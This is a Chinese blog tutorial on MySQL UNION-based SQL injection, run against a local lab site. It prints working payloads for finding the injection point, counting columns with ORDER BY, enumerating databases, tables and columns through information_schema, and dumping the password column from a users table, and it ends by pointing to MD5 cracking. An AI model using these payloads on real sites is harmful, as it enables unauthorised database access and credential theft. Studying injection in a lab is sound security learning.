sql注入之联合查询(Mysql)

本文详细介绍如何利用联合注入攻击获取数据库信息,包括判断注入点、获取字段数、进行联合查询、查询数据库名、用户名及数据库结构等步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

联合注入

联合查询union需要让前面语句报错,数字型直接加 - ,
字符型加 - 再闭合:-1’ union语句 --+

- 测试网站

phpstudy搭建的mysql网站
http://localhost/pentest/article.php?id=1
适用于Mysql网站

- 注入步骤

1.判断是否存在注入

输入and 1=1 未报错
输入and 1=2 报错
在这里插入图片描述
在这里插入图片描述

2.获取字段的总数: order by +数字

数字从1到4时4报错,所以网站字段为3
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.进行连接查询

http://localhost/pentest/article.php?id=-1 union select 1,2,3

//从这不开始后面都需要令id=-1让其报错

在这里插入图片描述

返回结果为2,3 说明union select 1,2,3中2,3可以输入mysql语句,尝试在2处查询数据库名( database() )

4.对数据库查询

http://localhost/pentest/article.php?id=-1 union select 1,database(),user()
只有在mysql5.0以上版本才能使用database()查询数据库
一般union select 1,database(),3 爆出数据库便可往下执行。
在这里插入图片描述
用database(),user()带入2,3或者分别带入其中某个,得到数据库的名字和用户名
在这里插入图片描述
在这里插入图片描述
图为当前网站的用户名和数据库
Mysql注入时还可以输入:
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() Mysql数据库版本
@@datadir 读取数据库路径
@@basedir Mysql安装路径
@@version_compile_os 操作系统

5.对target_sys数据库的表名进行查询

语句: select table_name from information_schema.tables where table_schema = ‘target_sys’ limit 0,1

将语句加括号后代换2或3

http://localhost/pentest/article.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema = ‘target_sys’ limit 0,1),3
在这里插入图片描述这里查出的是第一个表名,可以通过修改 语句后面的limit 0,1为limit 1,1或limit 2,1查看其他表名,这里以users表为例继续

6.对user表中的字段(列名)查询

语句: select column_name from information_schema.columns where table_schema = ‘target_sys’ and table_name = ‘users’ limit 0,1

同样将语句加括号后代换2或3

http://localhost/pentest/article.php?id=-1 union select 1,2,(select column_name from information_schema.columns where table_schema = ‘target_sys’ and table_name = ‘users’ limit 0,1)
在这里插入图片描述更换limit 1,1找打其他的字段名分别为:id,username,password,email

查询账户密码内容

http://localhost/pentest/article.php?id=-1 union select 1,2,password from users
在这里插入图片描述
用MD5解密就行了,用户名同理。

对于有waf防火墙的网站期待后面的学习吧。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值